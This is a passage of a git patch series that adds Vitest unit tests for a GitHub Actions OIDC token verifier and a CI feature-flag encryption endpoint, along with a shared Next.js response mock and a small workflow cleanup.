- }
- }
-
- return {
- NextResponse: MockNextResponse,
- }
+vi.mock('next/server', async () => {
+ const { createNextServerMock } = await import('#/lib/test/next-server-mock')
+ return createNextServerMock()
})
vi.mock('@internal/shared/lib/vercel-oidc', () => ({
diff --git a/chat/lib/test/next-server-mock.ts b/chat/lib/test/next-server-mock.ts
new file mode 100644
index 000000000000..ac5fde18ee38
--- /dev/null
+++ b/chat/lib/test/next-server-mock.ts
@@ -0,0 +1,30 @@
+/**
+ * Factory for `vi.mock('next/server', ...)` in route-handler unit tests.
+ *
+ * `chat/vite.config.mts` aliases `next/server` to an empty stub for tests,
+ * so any test that imports a route using `NextResponse.json(...)` must
+ * mock `next/server` to provide a working implementation. This helper
+ * ensures every route test uses the same shim.
+ *
+ * Usage:
+ *
+ * import { createNextServerMock } from '#/lib/test/next-server-mock'
+ * vi.mock('next/server', () => createNextServerMock())
+ */
+export function createNextServerMock() {
+ class MockNextResponse extends Response {
+ static json(data: unknown, init?: ResponseInit) {
+ const headers = new Headers(init?.headers)
+ headers.set('content-type', 'application/json')
+
+ return new MockNextResponse(JSON.stringify(data), {
+ ...init,
+ headers,
+ })
+ }
+ }
+
+ return {
+ NextResponse: MockNextResponse,
+ }
+}
From 6e177b1afaf005544d4c118d74aa8863d33084b6 Mon Sep 17 00:00:00 2001
From: Yehuda Katz <[email protected]>
Date: Wed, 22 Apr 2026 13:35:22 -0700
Subject: [PATCH 15/17] test(shared): cover ci-oidc discriminated-union
verifier
Adds 10 unit tests for verifyGitHubActionsOIDC covering:
- JWKS endpoint configuration
- Valid token happy path (ok: true + jwtVerify args)
- jwtVerify throwing -> invalid_token
- Missing / non-matching repository -> repo_mismatch
- Missing / non-matching workflow_ref -> workflow_mismatch
- Matching workflow_ref prefix -> ok: true
- Omitted or empty allowedWorkflowRefs -> any workflow accepted
Uses the vi.hoisted + vi.mock('jose', ...) pattern from PR #23332's
github-oidc.test.ts. Fabricates payloads rather than minting real JWTs.
---
packages/shared/lib/ci-oidc.test.ts | 169 ++++++++++++++++++++++++++++
1 file changed, 169 insertions(+)
create mode 100644 packages/shared/lib/ci-oidc.test.ts
diff --git a/packages/shared/lib/ci-oidc.test.ts b/packages/shared/lib/ci-oidc.test.ts
new file mode 100644
index 000000000000..40173b37c4bf
--- /dev/null
+++ b/packages/shared/lib/ci-oidc.test.ts
@@ -0,0 +1,169 @@
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+const { createRemoteJWKSet, jwtVerify } = vi.hoisted(() => ({
+ createRemoteJWKSet: vi.fn((_url: URL) => 'mock-jwks'),
+ jwtVerify: vi.fn(),
+}))
+
+vi.mock('jose', () => ({
+ createRemoteJWKSet,
+ jwtVerify,
+}))
+
+import { verifyGitHubActionsOIDC } from './ci-oidc'
+
+// Capture the module-import-time call to createRemoteJWKSet before any
+// beforeEach clears the mock history.
+const jwksUrlArg = createRemoteJWKSet.mock.calls[0]?.[0]
+
+const GITHUB_ACTIONS_ISSUER = 'https://token.actions.githubusercontent.com'
+
+const validPayload = {
+ iss: GITHUB_ACTIONS_ISSUER,
+ sub: 'repo:vercel/v0:ref:refs/heads/main',
+ aud: 'https://v0.app/api/~/ci/flags/encrypt-override',
+ repository: 'vercel/v0',
+ repository_owner: 'vercel',
+ workflow_ref:
+ 'vercel/v0/.github/workflows/ci-in-preview-smoke.yaml@refs/pull/123/merge',
+ ref: 'refs/pull/123/merge',
+ actor: 'octocat',
+ event_name: 'pull_request',
+}
+
+const baseOptions = {
+ audience: 'https://v0.app/api/~/ci/flags/encrypt-override',
+ allowedRepositories: ['vercel/v0'],
+}
+
+describe('verifyGitHubActionsOIDC', () => {
+ beforeEach(() => {
+ vi.clearAllMocks()
+ })
+
+ it('configures the JWKS endpoint at the GitHub Actions well-known URL', async () => {
+ expect(jwksUrlArg).toBeInstanceOf(URL)
+ expect(String(jwksUrlArg)).toBe(
+ 'https://token.actions.githubusercontent.com/.well-known/jwks',
+ )
+ })
+
+ it('returns ok with the payload for a valid token', async () => {
+ jwtVerify.mockResolvedValue({ payload: validPayload })
+
+ await expect(
+ verifyGitHubActionsOIDC('test-token', baseOptions),
+ ).resolves.toEqual({ ok: true, payload: validPayload })
+
+ expect(jwtVerify).toHaveBeenCalledWith('test-token', 'mock-jwks', {
+ issuer: GITHUB_ACTIONS_ISSUER,
+ audience: baseOptions.audience,
+ })
+ })
+
+ it('returns invalid_token when jwtVerify throws', async () => {
+ jwtVerify.mockRejectedValue(new Error('bad signature'))
+
+ await expect(
+ verifyGitHubActionsOIDC('test-token', baseOptions),
+ ).resolves.toEqual({ ok: false, reason: 'invalid_token' })
+ })
+
+ it('returns repo_mismatch when the repository claim is missing', async () => {
+ jwtVerify.mockResolvedValue({
+ payload: { ...validPayload, repository: undefined },
+ })
+
+ await expect(
+ verifyGitHubActionsOIDC('test-token', baseOptions),
+ ).resolves.toEqual({ ok: false, reason: 'repo_mismatch' })
+ })
+
+ it('returns repo_mismatch when the repository is not in allowedRepositories', async () => {
+ jwtVerify.mockResolvedValue({
+ payload: { ...validPayload, repository: 'attacker/fork' },
+ })
+
+ await expect(
+ verifyGitHubActionsOIDC('test-token', baseOptions),
+ ).resolves.toEqual({ ok: false, reason: 'repo_mismatch' })
+ })
+
+ it('returns workflow_mismatch when workflow_ref is missing and allowedWorkflowRefs is set', async () => {
+ jwtVerify.mockResolvedValue({
+ payload: { ...validPayload, workflow_ref: undefined },
+ })
+
+ await expect(
+ verifyGitHubActionsOIDC('test-token', {
+ ...baseOptions,
+ allowedWorkflowRefs: [
+ 'vercel/v0/.github/workflows/ci-in-preview-smoke.yaml',
+ ],
+ }),
+ ).resolves.toEqual({ ok: false, reason: 'workflow_mismatch' })
+ })
+
+ it('returns workflow_mismatch when workflow_ref does not match any prefix', async () => {
+ jwtVerify.mockResolvedValue({
+ payload: {
+ ...validPayload,
+ workflow_ref:
+ 'vercel/v0/.github/workflows/attacker.yaml@refs/heads/main',
+ },
+ })
+
+ await expect(
+ verifyGitHubActionsOIDC('test-token', {
+ ...baseOptions,
+ allowedWorkflowRefs: [
+ 'vercel/v0/.github/workflows/ci-in-preview-smoke.yaml',
+ ],
+ }),
+ ).resolves.toEqual({ ok: false, reason: 'workflow_mismatch' })
+ })
+
+ it('accepts a workflow_ref that starts with an allowed prefix', async () => {
+ jwtVerify.mockResolvedValue({ payload: validPayload })
+
+ await expect(
+ verifyGitHubActionsOIDC('test-token', {
+ ...baseOptions,
+ allowedWorkflowRefs: [
+ 'vercel/v0/.github/workflows/ci-in-preview-smoke.yaml',
+ ],
+ }),
+ ).resolves.toEqual({ ok: true, payload: validPayload })
+ })
+
+ it('accepts any workflow when allowedWorkflowRefs is omitted', async () => {
+ jwtVerify.mockResolvedValue({
+ payload: {
+ ...validPayload,
+ workflow_ref:
+ 'vercel/v0/.github/workflows/some-other.yaml@refs/heads/main',
+ },
+ })
+
+ await expect(
+ verifyGitHubActionsOIDC('test-token', baseOptions),
+ ).resolves.toMatchObject({ ok: true })
+ })
+
+ it('accepts any workflow when allowedWorkflowRefs is an empty array', async () => {
+ jwtVerify.mockResolvedValue({
+ payload: {
+ ...validPayload,
+ workflow_ref:
+ 'vercel/v0/.github/workflows/some-other.yaml@refs/heads/main',
+ },
+ })
+
+ await expect(
+ verifyGitHubActionsOIDC('test-token', {
+ ...baseOptions,
+ allowedWorkflowRefs: [],
+ }),
+ ).resolves.toMatchObject({ ok: true })
+ })
+})
From 0fa9eb7d6b9d4c2e78045ee827cd73d3a7615ef1 Mon Sep 17 00:00:00 2001
From: Yehuda Katz <[email protected]>
Date: Wed, 22 Apr 2026 13:38:11 -0700
Subject: [PATCH 16/17] test(chat/ci): cover encrypt-override route
Adds 14 unit tests for the first CI-in-preview endpoint covering:
- Production 404 guard
- Missing OIDC token -> 401
- invalid_token / workflow_mismatch -> 401
- repo_mismatch -> 403 with reason in body
- Malformed body, missing flags, non-object flags, arrays, null -> 400
- Missing FLAGS_SECRET -> 500
- Happy path -> 200 with encrypted cookie
- Forwards the endpoint-specific audience, repo allowlist, and
workflow allowlist to the verifier (regression guard)
Uses the shared next/server mock helper from chat/lib/test and mocks
ci-oidc + flags at module scope.
---
.../~/ci/flags/encrypt-override/route.test.ts | 199 ++++++++++++++++++
1 file changed, 199 insertions(+)
create mode 100644 chat/app/api/~/ci/flags/encrypt-override/route.test.ts
diff --git a/chat/app/api/~/ci/flags/encrypt-override/route.test.ts b/chat/app/api/~/ci/flags/encrypt-override/route.test.ts
new file mode 100644
index 000000000000..476af4027c3a
--- /dev/null
+++ b/chat/app/api/~/ci/flags/encrypt-override/route.test.ts
@@ -0,0 +1,199 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+vi.mock('next/server', async () => {
+ const { createNextServerMock } = await import('#/lib/test/next-server-mock')
+ return createNextServerMock()
+})
+
+vi.mock('@internal/shared/lib/ci-oidc', () => ({
+ verifyGitHubActionsOIDC: vi.fn(),
+}))
+
+vi.mock('flags', () => ({
+ encryptOverrides: vi.fn(),
+}))
+
+import { verifyGitHubActionsOIDC } from '@internal/shared/lib/ci-oidc'
+import { encryptOverrides } from 'flags'
+import { POST } from './route'
+
+const verifyMock = vi.mocked(verifyGitHubActionsOIDC)
+const encryptOverridesMock = vi.mocked(encryptOverrides)
+
+const ENDPOINT_AUDIENCE = 'https://v0.app/api/~/ci/flags/encrypt-override'
+const ALLOWED_REPOSITORIES = ['vercel/v0']
+const ALLOWED_WORKFLOW_REFS = [
+ 'vercel/v0/.github/workflows/ci-in-preview-smoke.yaml',
+]
+
+const validPayload = {
+ iss: 'https://token.actions.githubusercontent.com',
+ aud: ENDPOINT_AUDIENCE,
+ repository: 'vercel/v0',
+ workflow_ref:
+ 'vercel/v0/.github/workflows/ci-in-preview-smoke.yaml@refs/pull/1/merge',
+}
+
+function makeRequest(
+ body: unknown,
+ { token = 'valid-token' }: { token?: string | null } = {},
+): Request {
+ const headers: Record<string, string> = {
+ 'content-type': 'application/json',
+ }
+ if (token) headers['x-github-oidc-token'] = token
+
+ return new Request('http://localhost/api/~/ci/flags/encrypt-override', {
+ method: 'POST',
+ headers,
+ body: typeof body === 'string' ? body : JSON.stringify(body),
+ })
+}
+
+describe('POST /api/~/ci/flags/encrypt-override', () => {
+ beforeEach(() => {
+ vi.clearAllMocks()
+ vi.stubEnv('VERCEL_ENV', 'preview')
+ vi.stubEnv('FLAGS_SECRET', 'test-secret')
+ verifyMock.mockResolvedValue({ ok: true, payload: validPayload })
+ encryptOverridesMock.mockResolvedValue('encrypted-cookie')
+ })
+
+ afterEach(() => {
+ vi.unstubAllEnvs()
+ })
+
+ it('returns 404 in production', async () => {
+ vi.stubEnv('VERCEL_ENV', 'production')
+
+ const response = await POST(makeRequest({ flags: { foo: true } }) as any)
+
+ expect(response.status).toBe(404)
+ await expect(response.text()).resolves.toBe('Not Found')
+ expect(verifyMock).not.toHaveBeenCalled()
+ })
+
+ it('returns 401 when the OIDC token header is missing', async () => {
+ const response = await POST(
+ makeRequest({ flags: { foo: true } }, { token: null }) as any,
+ )
+
+ expect(response.status).toBe(401)
+ await expect(response.json()).resolves.toEqual({ error: 'unauthorized' })
+ expect(verifyMock).not.toHaveBeenCalled()
+ })
+
+ it('returns 401 when the token is invalid', async () => {
+ verifyMock.mockResolvedValue({ ok: false, reason: 'invalid_token' })
+
+ const response = await POST(makeRequest({ flags: { foo: true } }) as any)
+
+ expect(response.status).toBe(401)
+ await expect(response.json()).resolves.toEqual({ error: 'unauthorized' })
+ expect(encryptOverridesMock).not.toHaveBeenCalled()
+ })
+
+ it('returns 403 with repo_mismatch reason when the repository is not allowed', async () => {
+ verifyMock.mockResolvedValue({ ok: false, reason: 'repo_mismatch' })
+
+ const response = await POST(makeRequest({ flags: { foo: true } }) as any)
+
+ expect(response.status).toBe(403)
+ await expect(response.json()).resolves.toEqual({
+ error: 'forbidden',
+ reason: 'repo_mismatch',
+ })
+ expect(encryptOverridesMock).not.toHaveBeenCalled()
+ })
+
+ it('returns 401 when the workflow does not match', async () => {
+ verifyMock.mockResolvedValue({ ok: false, reason: 'workflow_mismatch' })
+
+ const response = await POST(makeRequest({ flags: { foo: true } }) as any)
+
+ expect(response.status).toBe(401)
+ await expect(response.json()).resolves.toEqual({ error: 'unauthorized' })
+ expect(encryptOverridesMock).not.toHaveBeenCalled()
+ })
+
+ it('returns 400 when the body is not valid JSON', async () => {
+ const response = await POST(makeRequest('not json {') as any)
+
+ expect(response.status).toBe(400)
+ await expect(response.json()).resolves.toEqual({ error: 'bad_request' })
+ expect(encryptOverridesMock).not.toHaveBeenCalled()
+ })
+
+ it('returns 400 when the body is missing the flags key', async () => {
+ const response = await POST(makeRequest({ notFlags: {} }) as any)
+
+ expect(response.status).toBe(400)
+ await expect(response.json()).resolves.toEqual({ error: 'bad_request' })
+ expect(encryptOverridesMock).not.toHaveBeenCalled()
+ })
+
+ it('returns 400 when flags is an array', async () => {
+ const response = await POST(makeRequest({ flags: ['a', 'b'] }) as any)
+
+ expect(response.status).toBe(400)
+ await expect(response.json()).resolves.toEqual({ error: 'bad_request' })
+ expect(encryptOverridesMock).not.toHaveBeenCalled()
+ })
+
+ it('returns 400 when flags is a string', async () => {
+ const response = await POST(makeRequest({ flags: 'nope' }) as any)
+
+ expect(response.status).toBe(400)
+ await expect(response.json()).resolves.toEqual({ error: 'bad_request' })
+ expect(encryptOverridesMock).not.toHaveBeenCalled()
+ })
+
+ it('returns 400 when flags is a number', async () => {
+ const response = await POST(makeRequest({ flags: 42 }) as any)
+
+ expect(response.status).toBe(400)
+ await expect(response.json()).resolves.toEqual({ error: 'bad_request' })
+ expect(encryptOverridesMock).not.toHaveBeenCalled()
+ })
+
+ it('returns 400 when flags is null', async () => {
+ const response = await POST(makeRequest({ flags: null }) as any)
+
+ expect(response.status).toBe(400)
+ await expect(response.json()).resolves.toEqual({ error: 'bad_request' })
+ expect(encryptOverridesMock).not.toHaveBeenCalled()
+ })
+
+ it('returns 500 when FLAGS_SECRET is unset', async () => {
+ vi.stubEnv('FLAGS_SECRET', '')
+
+ const response = await POST(makeRequest({ flags: { foo: true } }) as any)
+
+ expect(response.status).toBe(500)
+ await expect(response.json()).resolves.toEqual({ error: 'misconfigured' })
+ expect(encryptOverridesMock).not.toHaveBeenCalled()
+ })
+
+ it('returns 200 with the encrypted cookie on the happy path', async () => {
+ const flags = { 'my-flag': true, 'another-flag': 'value' }
+
+ const response = await POST(makeRequest({ flags }) as any)
+
+ expect(response.status).toBe(200)
+ await expect(response.json()).resolves.toEqual({
+ cookie: 'encrypted-cookie',
+ })
+ expect(encryptOverridesMock).toHaveBeenCalledWith(flags, 'test-secret')
+ })
+
+ it('forwards the endpoint-specific audience, repo allowlist, and workflow allowlist to the verifier', async () => {
+ await POST(makeRequest({ flags: { foo: true } }) as any)
+
+ expect(verifyMock).toHaveBeenCalledTimes(1)
+ expect(verifyMock).toHaveBeenCalledWith('valid-token', {
+ audience: ENDPOINT_AUDIENCE,
+ allowedRepositories: ALLOWED_REPOSITORIES,
+ allowedWorkflowRefs: ALLOWED_WORKFLOW_REFS,
+ })
+ })
+})
From e8ba4657f4a38fe076d6a6de054720ea0f4f3939 Mon Sep 17 00:00:00 2001
From: Yehuda Katz <[email protected]>
Date: Wed, 22 Apr 2026 14:16:35 -0700
Subject: [PATCH 17/17] drop dependency install from smoke workflow
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
The smoke only uses curl, jq, and gh — all pre-installed on
ubuntu-latest. The Install step was holdover from an earlier
draft that used a Node-based wait-for-vercel-project. Removing
it cuts workflow runtime and stops passing NPM_TOKEN to a job
that doesn't need it.
---
.github/workflows/ci-in-preview-smoke.yaml | 5 -----
1 file changed, 5 deletions(-)
diff --git a/.github/workflows/ci-in-preview-smoke.yaml b/.github/workflows/ci-in-preview-smoke.yaml
index 2007e5c6c169..8b2e4e682a07 100644
--- a/.github/workflows/ci-in-preview-smoke.yaml
+++ b/.github/workflows/ci-in-preview-smoke.yaml
@@ -28,11 +28,6 @@ jobs:
- name: Checkout
uses: actions/checkout@v4
- - name: Install dependencies
- uses: ./.github/actions/install
- with:
- npm-token: ${{ secrets.NPM_TOKEN }}
-
- name: Wait for v0chat preview
id: wait_for_chat
env:
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment